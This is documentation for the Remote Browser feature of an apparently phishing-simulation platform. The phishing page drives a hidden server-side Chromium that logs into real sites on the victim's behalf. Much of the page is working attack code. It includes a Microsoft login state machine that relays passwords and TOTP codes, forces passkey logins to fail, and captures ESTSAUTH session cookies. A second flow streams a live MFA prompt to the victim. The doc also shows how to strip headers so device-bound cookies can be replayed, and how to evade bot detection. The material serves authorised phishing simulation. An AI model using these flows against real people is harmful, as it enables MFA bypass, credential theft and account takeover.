Remote Browser
A user with access to this feature can read files, execute code and more on the server. Only enable when the user is as trusted as the server administrator.
Remote Browser Phishing is a technique where the victim interacts with a phishing website that sends and reacts to events from a real remote browser in the background. The victim is interacting with a website you designed entirely, and you control what happens in the remote browser. It might seem familiar to tools such as CuddlePhish but it is not the same as the phishing page is not a stream of the remote target.
Some of the pros and cons when compared with AiTM phishing.
Pros
- Bypasses AiTM defenses as the phishing is performed in a real remote browser
- Defeats device bound cookies as the attacker can take control of the remote browser
- Custom UI and flows give new opportunities for exploitative flows
Cons
- Increased development time creating both the phishing page and the remote browser script
- Increase in server resource consumption
- New challenges: IP reputation and remote browser fingerprinting (bot detection) become the layer for attackers to bypass
Overview
The architecture consists of:
- The phishing page is a static page served to the victim. It has no
knowledge of the target site. You send events using
rb.send(), and reacts to events coming back from the script usingrb.on(). You design this page and its flow entirely yourself. - Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
- The server side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium based browser) running on the Phishing Club host or a remote container.
Bot detection and configurations for popular targets
By default, the remote browser is detectable. No major bypass configuratons are baked in.
Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and might be specific to the target.
Phishing Club does not provide any configurations for targets such as Microsoft or Google.
How It Works
- The recipient visits your phishing page. Phishing Club renders the page and replaces
{{RemoteBrowserScript "name"}}with a WebSocket client script bound to that recipient's session ID. - The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
- The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
- When the victim interacts with the phishing page (submitting a form, clicking a button), the
page can call
rb.send("event", data). This sends events over WebSocket to the script. - The script receives the event via
waitForEvent()or ans.on()handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result. - The script calls
emit("event", data)to send a response back to the phishing page. The phishing page'srb.on()handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form. - This exchange continues until the script calls
s.capture()to extract cookies and storage, which records a capture event in the campaign log. - The script can then call
s.keepAlive()to hold the browser available for operator takeover, or calls.close()to end the session.
A running session keeps the script it started with. Editing and saving a script
does not change a session that is already running or parked, that session keeps the old code.
There is one session per recipient, and a session parked by s.keepAlive() stays until
you terminate it. While it is parked, a reloaded phishing page connects and is closed at once
(WebSocket code 1006) because the old session still holds the recipient. To run an edited script,
terminate the recipient's live session first, then reload the page. While developing, prefer
s.listen() over s.keepAlive(): a listen session ends when the page
disconnects, so a reload picks up your latest script on its own.
Enabling the Feature
Remote Browser is disabled by default. To enable it, set enabled: true in the
remote_browser block of config.json:
"remote_browser": {
"enabled": true,
"binary_path": "/usr/bin/chromium-browser" // optional
} If binary_path is not set, Phishing Club will automatically download a compatible
Chromium build on first use. The first session will not start until the download and setup process
completes. Follow the server logs to track progress and confirm everything succeeds before expecting
the browser to launch.
The downloaded Chromium needs the same shared system libraries as PDF reports. Install them first:
see System dependencies under PDF Reports for
the package list and how to check which are missing. If a session still fails to start, enable
chromeDebug: true in newSession() to surface the raw Chrome process
output, which lists any remaining missing libraries.
Turning Headless off needs more than those libraries. A headful browser draws a
real window, so it needs a display and the toolkit it draws with. Phishing Club starts a private
Xvfb display for every session rather than putting them all on one display, because X
gives clients on the same display no separation: on a shared display one session could read the
windows and the keystrokes of the others. Install these, using the same plain name /
t64 fallback as the report libraries so the command works on both older and newer
releases:
for p in xvfb libgtk-3-0 libxss1 libxtst6 libxi6 libxcursor1; do
apt-get install -y "$p" 2>/dev/null || apt-get install -y "${p}t64"
done Without xvfb a headful session fails to start and the run log reports that the browser
needs a display. On a machine that already has a desktop session the server falls back to that
desktop's display and logs a warning, since it is shared with everything else drawing on it.
A headful browser still has no GPU behind it on a virtual display, so WebGL continues to report the software renderer. Removing that signal needs a real GPU passed through to the machine, not a display alone.
On systems where AppArmor restricts unprivileged user namespaces, Chromium cannot create the namespace it needs for its internal sandbox. The Chrome process output will contain:
No usable sandbox!
The remote browser uses the same bundled Chromium as PDF reports, so the same fix applies. See the AppArmor setup under PDF Reports.
Creating a Script
Navigate to Remote Browsers in the sidebar and click New.
- Name (Required): A unique name used to reference this script from page templates.
- Description (Optional): Short description.
- Script (Required): The Remote Browser script.
- Configuration: Browser settings configured through the
Config tab.
Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.
How a script runs
The browser script runs once, top to bottom. There is no background loop and
setTimeout is not available. It talks to the phishing page through events: the page
calls rb.send(name, data), the script reads those events, and the script calls
emit(name, data) to send data back to the page.
The connection stays open only while the script is still running. A script keeps running by
blocking on an event or by parking itself. If it reaches the end instead, the session closes and
any later rb.send from the page is discarded, with a warning in the page console. So
a script always finishes on a blocking call.
Receiving events: synchronous (start here)
waitForEvent(name) pauses the script until the page sends that event, then returns
its data. Use it for a step by step flow: do something, wait for the next event, continue. One
event at a time, in the order you write. This is the easiest model to start with.
Phishing page (HTML)
<input id="email" placeholder="Email" />
<button id="go">Continue</button>
<p id="status"></p>
{{RemoteBrowserScript "starter"}}
<script>
document.getElementById("go").addEventListener("click", function () {
rb.send("email", { value: document.getElementById("email").value });
});
rb.on("thanks", function (data) {
document.getElementById("status").textContent = data.message;
});
</script> The name in {{RemoteBrowserScript "starter"}} is the exact
Name of a Remote Browser script you create under
Remote Browsers (see Creating a Script). In this
example the script must be named starter. The lookup is by name and scoped to the
campaign's company, and a script with no company is global and usable by any campaign. If no
script matches the name, the tag renders nothing and no WebSocket client is injected, so the page
loads normally but the remote browser flow never starts. If the page has no rb object
at runtime, check that the name matches an existing script exactly.
Browser script (synchronous)
var s = newSession();
s.navigate("https://example.com");
while (true) {
// waitForEvent blocks here until the page calls rb.send("email", ...)
var msg = waitForEvent("email");
log("got email", msg.value);
emit("thanks", { message: "Received " + msg.value });
} The while loop keeps the script blocked on waitForEvent, so it handles
each message the page sends and the connection stays open. Drop the loop if you only expect one
event.
Receiving events: asynchronous
s.on(name, fn) registers a handler but does not run it. s.listen() then
blocks and calls the matching handler every time an event arrives, until s.done() is
called, the victim disconnects, or the idle timeout fires. Use it when different events can arrive
in any order or more than once.
Browser script (asynchronous)
The phishing page above is unchanged. Only the browser script differs.
var s = newSession();
s.navigate("https://example.com");
// register a handler. it does not run yet
s.on("email", function (data) {
log("got email", data.value);
emit("thanks", { message: "Received " + data.value });
});
// listen blocks and dispatches events to the handler until the page disconnects
s.listen(); Which to use
- Synchronous,
waitForEvent: the script stops and waits for one event at a time, in the order you wrote. Simplest to follow. - Asynchronous,
s.onthens.listen: you register handlers, thens.listen()waits and runs the right handler as each event arrives. Handlers can fire in any order. - Both keep the connection open while they block, which is what a script needs to keep receiving
from the page. Pick one style per script. If you are new to this, use
waitForEvent.
After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.
Testing
When running a Run / Test you can click View and
Control to directly view, interact and send events to the remote browser.
Configuration
Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.
Browser Mode
The mode toggle switches between two ways of launching the browser:
- Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
- Remote connects to a Chrome instance you launch and configure yourself.
Each call to
newSession()opens a new tab in that shared browser. This is the right mode for script development and testing: point it at a browser on your local machine so you can watch the automation happen live. Because all sessions share the same browser process, remote mode is not suitable for production campaigns with multiple simultaneous victims. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.
Local Mode Fields
| Field | Default | Description |
|---|---|---|
| Proxy | Upstream proxy for the server side browser: socks5://host:port or
http://host:port. | |
| Headless | On | Run the browser without a visible window. |
| Language | BCP 47 locale, e.g. en-US or da-DK. Sets Chrome's
--lang and --accept-lang flags so
navigator.language, navigator.languages, and the
Accept-Language header are consistent across the main frame and Web Workers.
Leave empty to use the browser's default locale. | |
| Flags | Additional Chrome CLI flags, one per line. --flag=value adds or overrides a
flag; !--flag removes a flag from the default set entirely. Example:
--use-gl=egl
or !--disable-background-networking. |
Remote Mode Fields
| Field | Description |
|---|---|
| Remote DevTools URL | The DevTools endpoint of the running browser. Accepts a bare port (9222),
http://host:port, or a full ws:// URL. Phishing Club resolves
the actual WebSocket address automatically. Start Chrome with
--remote-debugging-port=9222 to enable remote debugging. |
Timeout
The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.
Script API
Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.
There is no event loop. setTimeout and
setInterval are not available.
Global Functions
| Function | Description |
|---|---|
newSession(opts?) | Launches a browser and returns a session object. All options override the saved
configuration for this session only:
|
request() | Returns information about the victim connection that started this session, available
before newSession(). The
object has:
|
runScript(name, data?) | Runs a saved Script by name, passing data as its input, and
returns the object the Script returns. Synchronous: it blocks until the Script finishes.
Use it for reusable snippets and to call external services from a session. The Script has
the http.fetch and encode/decode toolkit; it does not emit campaign events in
this mode. Requires the Scripts feature to be enabled. |
waitForEvent(event) | Blocks until the phishing page calls rb.send(event, data). Returns the data
payload. |
waitForAny(events) | Blocks until any of the named events arrives. Accepts an array or individual arguments.
Returns { event, data } for whichever arrives first. |
emit(event, data) | Sends an event to the phishing page. The page receives it via
rb.on(event, fn). |
log(msg, data?) | Emits a log line visible in the script runner panel. In a live campaign
session each log line is also recorded as a recipient event in the campaign
timeline. Internal runner diagnostics, the lines prefixed with a tag such as
[session] or [chrome], stay in the editor panel and are
not saved to the timeline. |
info(message) | Records a plain text note in the campaign timeline for this recipient. Use it to
annotate progress milestones (e.g. info("navigated to dashboard")). Visible
in the campaign log but not forwarded to the phishing page. |
submitData(data) | Saves an arbitrary object (credentials, tokens, form values) as a
submitted data event in the campaign timeline. Use this when you want to record
captured values explicitly rather than via s.capture(). The data is visible
in the campaign log but not forwarded to the phishing page. |
retry(max, fn) | Calls fn(ctx) up to max times. Return a truthy value from
fn to stop looping; retry returns that value. Return
false or nothing to keep looping. Returns null if all attempts
are exhausted. ctx has attempt (starts at 1),
max, isFirst, and isLast. Pass an options object
instead of a number to add a wait between attempts:
retry({ max: 5, wait: 1000 }, fn). |
For example, read the victim's country with request() and open the session
through a matching proxy:
var r = request();
log('victim from ' + r.country, { ip: r.ip, asns: r.asns });
// open the session through a proxy that matches the country
var s = newSession({ proxy: r.country === 'DE' ? 'socks5://de-proxy:1080' : 'socks5://us-proxy:1080' }); To reuse logic or reach an external service, put it in a Script that reads input
and returns an object, then call it with runScript:
// a Script named "enrich-ip" (reads input, returns an object):
// var res = http.fetch('https://ipinfo.example/' + input.ip);
// var d = decode.json(res.body);
// return { proxy: d.country === 'DE' ? 'socks5://de:1080' : 'socks5://us:1080' };
var geo = runScript('enrich-ip', { ip: request().ip });
var s = newSession({ proxy: geo.proxy }); Session Methods
newSession() returns a session object. All selectors use CSS query syntax.
Navigation
| Method | Description |
|---|---|
s.navigate(url) | Navigates to a URL and waits for the body element to become visible. |
s.navigateBack() | Goes back one entry in the browser history. |
s.navigateForward() | Goes forward one entry in the browser history. |
s.reload() | Reloads the current page. |
s.stop() | Stops the current page load. |
s.location() | Returns the current URL as a string. |
s.title() | Returns the current page title as a string. |
s.waitURLContains(str) | Blocks until the page URL contains str. Returns the full URL. |
s.waitURLMatch(re) | Blocks until the page URL matches the regex re. Returns the full URL. |
Waiting
All wait* methods search the main page document and all iframes automatically, including
cross origin iframes (OOPIFs such as reCAPTCHA, Google Sign-In, and other embedded third party
widgets). An optional trailing options object controls the scope:
| Option | Default | Description |
|---|---|---|
frames | true | Set to false to search only the main page document and skip all iframes. |
frame | CSS selector for a specific <iframe> element. When set, only that iframe's
document is searched. |
// default: search main page + all iframes
s.waitVisible("#g-recaptcha-response");
// search only the main page
s.waitVisible("input[name='email']", { frames: false });
// search only a specific iframe
s.waitVisible("input[name='identifier']", { frame: "iframe[src*='accounts.google.com']" }); | Method | Description |
|---|---|
s.waitVisible(...sels) | Blocks until any of the given selectors is visible. Returns the matched selector. |
s.waitReady(...sels) | Blocks until any of the given selectors is visible and enabled. Returns the matched selector. |
s.waitEnabled(...sels) | Blocks until any of the given selectors is enabled. Returns the matched selector. |
s.waitSelected(...sels) | Blocks until any of the given selectors has a selected option. Returns the matched selector. |
s.waitNotVisible(...sels) | Blocks until any of the given selectors is no longer visible. Returns the matched selector. |
s.waitNotPresent(...sels) | Blocks until any of the given selectors is absent from the DOM. Returns the matched selector. |
Frame sessions
s.frame(selector) returns a frame session scoped to the
<iframe> matching selector. Unlike the
{ frame: "sel" } wait option - which narrows a single wait call - a frame
session lets you perform multiple operations inside one iframe without repeating the selector.
Nested iframes are supported: call .frame() again on the returned frame session.
Returns null if the iframe is not found or cannot be resolved.
// Access a Google Sign-In iframe directly
var googleFrame = s.frame("iframe[src*='accounts.google.com']");
if (googleFrame) {
googleFrame.waitVisible("input[type='email']");
googleFrame.sendKeys("input[type='email']", "[email protected]");
googleFrame.click("#identifierNext");
}
// Nested iframes
var outer = s.frame("#outer-frame");
if (outer) {
var inner = outer.frame("#inner-frame");
if (inner) { inner.sendKeys("#captcha-input", "abc123"); }
} The frame session exposes the same DOM, waiting, and interaction methods as the main session.
Methods not available on frame sessions: capture, keepAlive,
close, on, listen, done,
race, stream.
Race
s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously
and returns as soon as any condition is met. Each key in the conditions object is a label you choose;
each value specifies what to wait for.
| Condition key | Fires when | value in result |
|---|---|---|
{ visible: sel } | Element has a non-zero bounding box (same as waitVisible) | matched selector |
{ ready: sel } | Element is visible and not disabled (same as waitReady) | matched selector |
{ enabled: sel } | Element is not disabled (same as waitEnabled) | matched selector |
{ present: sel } | Element exists anywhere in the DOM | matched selector |
{ notVisible: sel } | Element has a zero bounding box or is absent (same as waitNotVisible) | matched selector |
{ notPresent: sel } | Element is absent from the DOM (same as waitNotPresent) | matched selector |
{ urlContains: str } | Page URL contains str | full URL string |
{ urlMatch: /re/ } | Page URL matches regex /re/ | full URL string |
{ event: name } | Victim page calls rb.send(name, data) | event payload |
Returns { key, value } for whichever condition fires first. Events received
during the race that do not match any condition are buffered and remain available to
subsequent waitForEvent calls.
var r = s.race({
password: { urlContains: '/challenge/pwd' },
mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
emailErr: { visible: '[aria-invalid="true"]' },
retry: { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry') { /* r.value is the event payload */ } Mouse
Action methods (click, sendKeys, setValue, etc.)
automatically search the main page and all iframes to find the target element. If the selector
matches an element inside a cross origin iframe the action is dispatched into that iframe's
document.
| Method | Description |
|---|---|
s.click(sel) | Clicks the element. |
s.doubleClick(sel) | Double-clicks the element. |
s.clickXY(x, y) | Clicks at the given page coordinates. |
s.scrollIntoView(sel) | Scrolls the element into the viewport. |
s.humanScroll(deltaY, options?) | Scrolls the page by deltaY pixels (positive is down) with eased, jittered wheel steps instead of an instant jump. options.duration sets the time in milliseconds. |
s.humanIdle(ms) | Spends about ms milliseconds drifting the pointer and pausing, to build natural activity on pages that treat inactivity as a bot signal. |
Keyboard
| Method | Description |
|---|---|
s.sendKeys(sel, text) | Focuses the element and types text character by character. |
s.keyEvent(key) | Dispatches a key event by name (e.g. "Enter", "Tab"). |
Forms
| Method | Description |
|---|---|
s.clear(sel) | Clears the value of an input or textarea, firing the native input and change events so React and Vue update cycles trigger. |
s.focus(sel) | Focuses the element. |
s.blur(sel) | Removes focus from the element. |
s.submit(sel) | Submits the form containing the element. |
s.setValue(sel, value) | Sets the value of a form element directly without simulating keystrokes. |
s.getValue(sel) | Returns the current value of a form element. |
DOM
| Method | Description |
|---|---|
s.getText(sel) | Returns the visible text of the element. |
s.getTextContent(sel) | Returns the textContent of the element, including hidden text. |
s.getInnerHTML(sel) | Returns the inner HTML of the element. |
s.getOuterHTML(sel) | Returns the outer HTML of the element. |
s.getAttribute(sel, attr) | Returns the value of the named HTML attribute, or null if absent. |
s.getAttributes(sel) | Returns all attributes of the element as a name/value object. |
s.setAttribute(sel, attr, value) | Sets the value of an HTML attribute. |
s.removeAttribute(sel, attr) | Removes an attribute from the element. |
s.getJSAttribute(sel, prop) | Returns a JavaScript property from the element (e.g. checked,
selectedIndex). |
s.setJSAttribute(sel, prop, value) | Sets a JavaScript property on the element. |
s.getNodeCount(sel) | Returns the number of matching elements. Returns 0 immediately if none exist; does not wait. |
s.evaluate(expr) | Evaluates a JavaScript expression in the page context and returns the result. |
Screenshots and DOM Capture
| Method | Description |
|---|---|
s.screenshot(name) | Development and testing only. Takes a full page screenshot and emits it to the editor runner panel. Screenshots are discarded in live campaign sessions and are never saved as recipient events. |
s.screenshotElement(sel, name) | Development and testing only. Takes a screenshot of a specific element, emitted to the editor runner panel. Discarded in live campaign sessions. |
s.domDump(name) | Development and testing only. Captures
document.documentElement.outerHTML and emits it as a named
dom_dump event in the editor runner panel. Discarded in live campaign
sessions, never saved as a recipient event, and not forwarded to the victim page. |
Viewport and Emulation
| Method | Description |
|---|---|
s.setViewport(width, height) | Sets the viewport size in CSS pixels. |
s.setViewportMobile(width, height) | Sets the viewport with mobile and touch emulation enabled. |
s.resetViewport() | Resets viewport emulation to the browser default. |
s.setUserAgent(ua) | Overrides the browser user agent string. |
s.setAcceptLanguage(lang) | Overrides the Accept-Language HTTP header and
navigator.language / navigator.languages in the main frame via
CDP. Useful for remote mode sessions where Chrome's --lang flag cannot be
set. Note: Web Workers read Chrome's process level locale, so for fully consistent
language signals across frame and workers, use the lang option in
newSession() instead. |
Header rewriting 1.43.0
Rewrite HTTP headers on the traffic between the remote browser and the sites it talks to.
Rules run over the CDP Fetch domain with continueRequest and
continueResponse, so the browser still opens its own connection and loads each
response body itself; only the header list is edited as it passes. The targets
argument is an optional URL glob (* matches any run of characters) or an array of
globs; when omitted the rule applies to every request. Call these before
navigate() so they are active on the first load.
Framing and routing headers (Content-Length, Transfer-Encoding,
Host, Connection, and HTTP/2 pseudo headers) are rejected, because
editing them corrupts the message. Cookie and CORS headers are allowed but log a warning,
since removing them commonly breaks the login flow you are trying to capture.
| Method | Description |
|---|---|
s.setRequestHeader(name, value, targets?) | Adds the request header, or overwrites it when it already exists, on the way to the
site. Use it to inject a value the site expects, for example
s.setRequestHeader("X-Debug", "1", "*login.microsoftonline.com*"). |
s.removeRequestHeader(name, targets?) | Drops the request header before it reaches the site. |
s.setResponseHeader(name, value, targets?) | Adds the response header, or overwrites it when it already exists, before the browser processes the response. |
s.removeResponseHeader(name, targets?) | Drops the response header before the browser sees it. The main use is stripping
Sec-Session-Registration so the target never binds the session to the
server side browser as a device, which keeps the captured cookies replayable. Example:
s.removeResponseHeader("Sec-Session-Registration"). |
Utility
| Method | Description |
|---|---|
s.wait(ms) | Pauses execution for the given number of milliseconds. |
s.failFido() 1.43.0 | Makes passkey logins fail fast. It puts the target into the CDP WebAuthn virtual
authenticator environment and adds an authenticator that holds no credentials, so a
passkey request fails at once instead of leaving the page waiting on its passkey overlay.
The page then offers another sign in method and the DOM stays reachable. Applies to the
main page and to child frames and popups that attach afterwards. Call it before
navigate() so it is active on the first load. If a page keeps retrying the
passkey request and never offers another method, override the passkey call yourself with
injectScript(). |
s.disableFidoUI() | Deprecated. Old name for s.failFido(). It still works but
logs a warning. Use s.failFido() in new scripts. |
s.injectScript(js) | Registers a JavaScript snippet that runs before any page scripts on
every subsequent navigation (CDP Page.addScriptToEvaluateOnNewDocument).
Call this before navigate() so the injection is active from the first load.
Scoped to this page only - does not affect other tabs or sessions. Typical use:
normalise fingerprint signals (speechSynthesis, WebGL renderer, etc.)
before bot detection probes fire. |
s.withTimeout(ms, fn) | Runs fn(tempSession) with a deadline. The temporary session passed to
fn shares the same browser tab but its operations time out after
ms. Returns true if fn completed before the
deadline, false if it timed out. Does not cancel the main session on timeout. |
s.close() | Closes the browser. Any subsequent calls on the session will panic. |
State machine 1.43.0
A login walk is mostly the same shape: work out which page you are on, do the matching
action, repeat. states() builds a small machine with optional before and after hooks and a run loop, so a script declares detection once and
lists an action per state, instead of hand writing a detect function and a while loop.
| Method | Description |
|---|---|
s.states(rules) | Declares how to recognize each page: an object of state name to a matcher
() => boolean. Matchers read the page through s:
s.present(sel), s.visible(sel), s.getNodeCount(sel),
s.getText(sel), s.location(), and s.query(name) for a
URL query value. Returns a state machine, whose before(fn), after(fn) and run(actions, options?) you call; before and after take fn(state) and run just before and after each detected step. |
s.waitForState(rules, timeoutMs?) | Polls until one rule matches and returns its state name, or "timeout" if
none match within timeoutMs (default 10000). Uses the rules you pass.
Use it to run your own loop instead of the machine. |
machine.run(actions, options?) | Runs the loop: detect the state, run its action, then wait for the state to change and
run the next action. Each action is (loop) => .... Waiting for a change
means an action is not fired twice while its page is still submitting or waiting, so a
screen that lingers, such as a push approval, is handled once. An action ends the loop by
returning false or calling loop.stop(), which works from inside a
nested callback too. The built in "timeout" state fires when the state does
not change within options.detectTimeout. options.timeout caps the
whole loop. |
A login flow then reads as detection and actions, with your own logic still in plain sight:
var s = newSession({ queryTimeout: 5000 });
s.failFido();
s.navigate("https://login.microsoftonline.com/");
s.states({
error: () => s.present("#errorText, .error"),
username: () => s.visible("input[type=email]"),
password: () => s.visible("input[type=password]"),
totp: () => s.visible("input[name=otc]"),
fido: () => s.location().includes("/fido"),
done: () => !s.location().includes("microsoftonline.com"),
})
.before(state => log("state", { state: state }))
.run({
username: () => { s.sendKeys("input[type=email]", waitForEvent("username").username); s.click("#idSIButton9"); },
password: () => { s.sendKeys("input[type=password]", waitForEvent("password").password); s.click("#idSIButton9"); },
totp: () => { s.sendKeys("input[name=otc]", waitForEvent("totp").code); s.click("#idSubmit_SAOTCC_Continue"); },
fido: () => { s.navigate(s.query("cancelUrl")); },
error: () => { emit("error", { message: s.getText("#errorText") }); return false; },
done: (loop) => { s.capture({ domains: ["login.microsoftonline.com"], cookieNames: ["ESTSAUTH"] }); loop.stop(); },
timeout: () => { emit("error", { message: "unhandled page" }); return false; },
}, { detectTimeout: 10000, timeout: 120000 }); Session Lifecycle
| Method | Description |
|---|---|
s.keepAlive() | Non blocking. Marks the session as available for live streaming and operator takeover,
cancels the script timeout so the browser stays alive indefinitely, and returns
immediately so the script can continue (e.g. call emit() after it). The server
parks the session after the script finishes and waits for an operator to terminate it. |
s.on(event, fn) | Registers a handler for a named event. Must be called before s.listen().
Built-in lifecycle events emitted automatically by the server:
rb.emit(name, data). |
s.listen() | Enters the event dispatch loop, calling registered handlers as events arrive. Blocks
until s.done() is called, the context is cancelled, or the idle timeout fires. |
s.done() | Exits the s.listen() loop. |
Cookie and Storage Capture
s.capture(opts?) extracts cookies and browser storage from the server side browser
via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie
captures appear) and returned to the script so it can inspect or forward the data.
s.capture({
domains: ["example.com"], // filter cookies to these domains
cookieNames: ["session", "auth"], // keep only cookies with these names
localStorage: true, // include localStorage (default: true, false if domains set)
sessionStorage: true // include sessionStorage (default: true, false if domains set)
}); | Option | Type | Default | Description |
|---|---|---|---|
domains | string[] | Restrict cookie retrieval to these domains. Phishing Club builds HTTPS URLs for each
domain and uses the CDP Network.getCookies call. Leading dots are stripped. | |
cookieNames | string[] | After domain filtering, keep only cookies whose name appears in this list. | |
localStorage | bool | true (false if domains set) | Include the page's localStorage in the capture. |
sessionStorage | bool | true (false if domains set) | Include the page's sessionStorage in the capture. |
Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.
Live Streaming to the Phishing Page
The script can stream a cropped, live view of any element in the server side browser directly
to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim
real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without
their browser ever connecting to it. The phishing page renders the frames on a
<canvas> element and forwards mouse and keyboard input back to the server side
browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance
and laggy depending on what is being streamed.
// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });
// Stop when done
handle.stop(); | Parameter | Type | Description |
|---|---|---|
selector | string | CSS selector for the element to capture and stream. |
name | string | Stream identifier. The phishing page uses this name in
rb.mountStream(name, el) to attach the canvas. |
maxFps | int | Maximum frame rate. 0 means unlimited (default). |
quality | int | JPEG quality 1-100. 0 uses the default of 92. |
Victim-side Integration
Template Function
Add this template function call anywhere in a phishing page to inject the remote browser client:
{{RemoteBrowserScript "remote-browser-script-name"}} Phishing Club looks up the script by name within the current company context and renders a
<script> tag bound to the recipients session. During template validation or
preview the function renders as an empty string.
window.rb API
After the script tag loads, window.rb (alias window.remoteBrowser)
is available on the phishing page with the following interface.
| Method | Description |
|---|---|
rb.send(event, data) | Sends an event with a data payload to the server side script. The script receives it via
waitForEvent(event) or an s.on(event, fn) handler. |
rb.on(event, fn) | Registers a handler for events emitted by the script with emit(event, data).
fn receives the data payload. |
rb.on("stream_start", fn) | Fires when the server starts a stream. fn receives an info object
{ name, width, height, cssWidth, cssHeight }. Call
rb.mountStream(info.name, el) inside the handler to attach a canvas. If you
run more than one stream, branch on info.name. |
rb.on("stream_stop", fn) | Fires when a stream stops. fn receives { name }. |
rb.on("stream_start", name, fn)rb.on("stream_stop", name, fn) | Deprecated. The older per-name form. It still works but logs a console
warning. The start handler receives (cssWidth, cssHeight) and the stop
handler receives no arguments. Prefer the object form above and read
info.name. |
rb.mountStream(name, el, opts?) | Creates a <canvas> inside el that receives JPEG frames
for the named stream and forwards mouse and keyboard events back to the server.
el is a DOM element or a CSS selector string such as
"#wrapper" or ".stream". If the selector matches nothing, the
call is ignored and a warning is logged. Options:
autoSize (resize the container element to match the stream dimensions,
default false), scroll (forward scroll wheel events, default false),
arrowKeys (forward arrow key events, default false). |
Session Lifecycle Events
The server automatically emits the following events to the phishing page when the session
ends. Register handlers with rb.on() to redirect the victim or show a message when
each condition occurs.
| Event | When it fires |
|---|---|
done | Script completed normally (the script reached its last line). |
session_timeout | The global script timeout was reached. The browser has been closed. Use this to redirect the victim to a neutral page rather than leaving them on a broken form. |
session_closed | The session was terminated by an operator (via Terminate in the live session panel). The browser has been closed. |
Example: Credential and MFA Capture
The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.
Phishing page (HTML)
<div id="step-login">
<input id="inp-user" type="text" placeholder="Email" />
<input id="inp-pass" type="password" placeholder="Password" />
<button id="btn-login">Sign in</button>
</div>
<div id="step-mfa" style="display:none">
<p>Complete the verification below.</p>
<div id="mfa-canvas-host"></div>
</div>
{{RemoteBrowserScript "corp-sso"}}
<script>
document.getElementById("btn-login").addEventListener("click", function() {
rb.send("credentials", {
username: document.getElementById("inp-user").value,
password: document.getElementById("inp-pass").value
});
});
rb.on("mfa_required", function() {
document.getElementById("step-login").style.display = "none";
document.getElementById("step-mfa").style.display = "block";
});
rb.on("stream_start", function(info) {
if (info.name === "mfa") {
rb.mountStream("mfa", "#mfa-canvas-host", { autoSize: true });
}
});
rb.on("done", function() {
window.location.href = "{{.URL}}";
});
</script> Server-side script
var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");
var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");
s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");
// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();
s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();Live Sessions
When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.
The following actions are available on a live session:
- View: Opens a read-only stream of the server side browser's active tab. You can watch what the browser is doing in real time without sending any input.
- Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server side browser, allowing you to take over the session manually.
- Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.
View and Control are only available once the script has called newSession() and
the browser context is ready. A script that calls s.keepAlive() holds the browser
open indefinitely for operator takeover. Test runs launched from the editor also register as live
sessions and can be viewed while the test is in progress.
Tab management
When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.
Upgrading from 1.35
Installations upgrading from 1.35 must update the systemd service file before Remote Browser will work. Three hardening directives that block Chromium were removed or relaxed in 1.36:
| Change | Reason |
|---|---|
AF_NETLINK added to RestrictAddressFamilies | Chromium requires netlink sockets for udev device enumeration |
RestrictNamespaces=true removed | Chromium uses namespaces for its internal sandbox |
MemoryDenyWriteExecute=true removed | V8 JIT requires write and execute memory |
1. Open the service file:
systemctl edit --full phishingclub
2. Update the relevant lines so they match:
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK RestrictRealtime=true RestrictSUIDSGID=true
Remove the RestrictNamespaces and MemoryDenyWriteExecute lines
entirely.
3. Reload and restart:
systemctl daemon-reload && systemctl restart phishingclub
New installations via the built-in installer are not affected.